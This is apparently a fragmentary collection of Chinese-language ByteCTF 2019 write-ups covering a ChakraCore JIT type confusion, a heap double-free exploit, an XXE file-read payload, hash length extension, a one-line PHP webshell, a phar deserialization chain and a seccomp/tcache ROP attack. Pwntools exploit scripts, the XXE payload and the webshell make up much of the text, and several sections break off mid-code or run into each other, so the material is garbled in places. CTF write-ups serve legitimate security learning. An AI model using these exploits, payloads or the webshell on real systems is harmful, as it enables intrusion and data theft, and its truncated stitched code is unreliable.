ByteCTF 2019 childjs
Points: 740 Solved: 8
nc 112.126.101.96 1338
非常典型的 JavaScript JIT 引擎类型混淆(Type confusion)
漏洞。
这道题目基于CVE 2019-0567 / CVE 2019-0539
,涉及微软 Edge 浏览器的 JavaScript 引擎Chakra
。
下面是题目的 diff:
diff -uNr ChakraCore_bak/lib/Backend/GlobOptFields.cpp ChakraCore/lib/Backend/GlobOptFields.cpp
--- ChakraCore_bak/lib/Backend/GlobOptFields.cpp 2019-04-24 10:14:24.012350694 +0800
+++ ChakraCore/lib/Backend/GlobOptFields.cpp 2019-04-24 10:16:11.197823797 +0800
@@ -482,7 +482,6 @@
break;
case Js::OpCode::InitClass:
- case Js::OpCode::InitProto:
case Js::OpCode::NewScObjectNoCtor:
if (inGlobOpt)
{
经过改动后,Chakra
引擎会认为,InitProto
指令码的执行过程中不产生任何副作用,而实际上InitProto
执行过程中,参数的对象类型会发生改变。
经过JIT优化编译后,Chakra
引擎会移除检查对象类型是否一致的代码。攻击者可以通过旧类型的操作访问新类型对象内存区域以外的数据,实现内存越界读写。
详细的漏洞原理可以参考利用脚本中的链接。
我们利用了两个DataView
对象。通过类型混淆,我们可以修改DataView
对象内部指向读写缓冲区的指针,实现对任意内存地址读写。我们首先泄漏DataView
对象内部的vtable
指针,从而泄漏libChakraCore.so
基地址,然后再进
ByteCTF 2019 mulnote
Points: 249 Solved: 49
nc 112.126.101.96 9999
代码有混淆,不过很容易看出是条件竞争漏洞。
释放 chunk 时使用了多线程。调用free
函数与清空 chunk 指针之间相隔了整整10秒,能够触发 double free。
先用unsorted bin
泄漏libc
基地址,然后利用 fastbin attack 向__malloc_hook
写入 one_gadget,实现 getshell。
# -*- coding:utf-8 -*-
from pwn import *
import time
context(log_level='debug')
p = process('./mulnote')
#p = remote("112.126.101.96", 9999)
def add(sz, ctx='\n'):
p.sendlineafter('>', 'C')
p.sendlineafter('>', str(sz))
p.sendafter('>', ctx)
def free(idx):
p.sendlineafter('>', 'R')
p.sendlineafter('>', str(idx))
def show():
p.sendlineafter('>', 'S')
################# Unsorted bin 泄漏 libc 地址 ######################
add(0x400) # idx: 0
free(0)
time.sleep(10) # 等待释放完成...
add(0x400) # idx: 0
show()
p.recvuntil("[0]:\n")
libc_base = u64(p.recv(6).ljust(8, '\0')) - 0x3c4b0a
######################## Fastbin Attack ############################
add(0x68) # idx:1
add(0x68) # idx:2
free(1)
time.sleep(3
跟boring_code一样上传xml payload到百度云,很容易fuzz出xxe。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE rss [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=./index.php">
]>
<rss version="2.0"
xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>先知安全技术社区</title>
<link>http://xz.aliyun.com/forum/</link>
<description>先知安全技术社区</description>
<atom:link href="http://xz.aliyun.com/forum/feed/" rel="self"></atom:link>
<language>zh-hans</language>
<lastBuildDate>Tue, 02 Jul 2019 06:03:00 +0800</lastBuildDate>
<item>
<title>利用Excel power query实现远程DDE执行</title>
<link>http://xz.aliyun.com/t/5514</link>
<description><pre>&xxe;</pre></description>
<pubDate>Tue, 02 Jul 2019 06:03:00 +0800</pubDate>
<guid>http://xz.aliyun.com/t/5514</guid>
</item>
</channel>
</rss>
根据index.php里
/www.zip有源码。
检查admin密码:
/config.php
给出md5($secret.'adminadmin')==='52107b08c0f3342d2153ae1d68e6262c'
很明显要哈希长度扩展攻击,在密码后扩展
尽管.htaccess限制着,shell还是可以上传的。
<?php @$_REQUEST[f]($_REQUEST[x]);
就能绕过$black_list。
这里出现了反序列化漏洞:
mime_content_type()
如果路径是phar协议的话会对phar文件里的metadata反序列化。反序列化魔术方法只有File::__destruct
:
看起来File::checker = Admin
,但是还有另一处可疑的地方:
Profile::__call
ZipArchive::open
恰好有两个参数,并且可以用来删除文件:
所以正确的是Profile::admin = ZipArchive; File::checker = Profile
phar协议绕过正则只需在前面加php协议:php://filter/convert.base64-encode/resource=phar://...
<?php
class File {
public $filename;
public $filepath;
public $checker;
function __construct() {
$this->checker = new Profile();
}
// function __destruct() {
// if (isset($this->checker)) {
// $this->checker->upload_file();
// }
// }
}
class Profile {
public $username;
public $
<?php
function is_valid_url($url) {
if (filter_var($url, FILTER_VALIDATE_URL)) {
if (preg_match('/data:\/\//i', $url)) {
return false;
}
return true;
}
return false;
}
if (isset($_POST['url'])){
$url = $_POST['url'];
if (is_valid_url($url)) {
$r = parse_url($url);
if (preg_match('/baidu\.com$/', $r['host'])) {
$code = file_get_contents($url);
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
} else {
echo "error: host not allowed";
}
} else {
echo "error: invalid url";
}
}else{
highlight_file(__FILE__);
}
把payload上传百度云,然后按f12点文件按流量,就能找到一个类似的url:
https
vip
函数中输入名字的时候可以覆盖部分的bpf,研究了一下seccomp-tools,发现除了ALLOW
和KILL
,还可以有一种ERRNO
的规则,尝试以后发现可以把open的返回值变成0,这样在edit函数中就可以把让fd返回0,变成从标准输入读入任意长度的内容了。
ssize_t __fastcall read_into(void *a1, int a2)
{
int fd; // [rsp+1Ch] [rbp-4h]
if ( dword_4040E0 )
return read(0, a1, a2);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
exit(0);
return read(fd, a1, a2);
}
试了几次发现用以下的规则通过seccomp-tools编译过后可以达到这种效果:
# check if arch is X86_64
A = sys_number
A == openat ? ok : next
return ALLOW
ok:
return ERRNO(0)
需要注意的是,libc中open函数的系统调用号实际上是openat
而不是open
。有了这个堆溢出就能做tcache posion返回任意地址了。这次的思路是先通过got泄露libc地址,然后通过environ
泄露栈地址,算好edit函数的返回地址,做一个简单rop用mprotect打开堆上的执行权限,然后直接调到堆上准备好的cat flag shellcode。不能直接execve或者system getshell,因为这些调用都需要open libc之类的操作,而open的系统调用已经被我们劫持了所以没法使用。
from pwn import *
import re
context.terminal = ['tmux', 'splitw', '-h']
context.arch = 'amd64'
context.log_level = "debug"
env = {'LD_PRELOAD': ''}
if len(sys.argv) == 1:
p = proc
相当于一个猜拳游戏,刚开始想理论上最大可能跑3^30次。
试了几次发现,每次进入游戏,第一个只要输和它给的一样的,都是win。
这说明这题其实不是随机的,然后多试几次找找规律。 把它给的 jsb当做一个数组 a[]={"j","s","b"} 从第一个题目给的字母开始计数,0 2 1偏移依次循环即可。 比如说,第一个给的是b,输入b显示you win!。 第二个给的是s,s偏移2位是j,输入j显示you win! 依次类推,每三次是一个循环。 因为就三十次,刚开始手动跑出来了。
之后又写了个脚本
from pwn import *
context.log_level = "debug"
r = remote("112.125.25.81",9999)
a = ["j","s","b"]
offset = [0,2,1]
for i in range(30):
r.recvuntil("I will use: ")
char = r.recv(1)
for k in range(3):
if a[k] == char:
break
n = i%3
index = (k+offset[n])%3
payload = a[index]
r.sendline(payload)
r.interactive()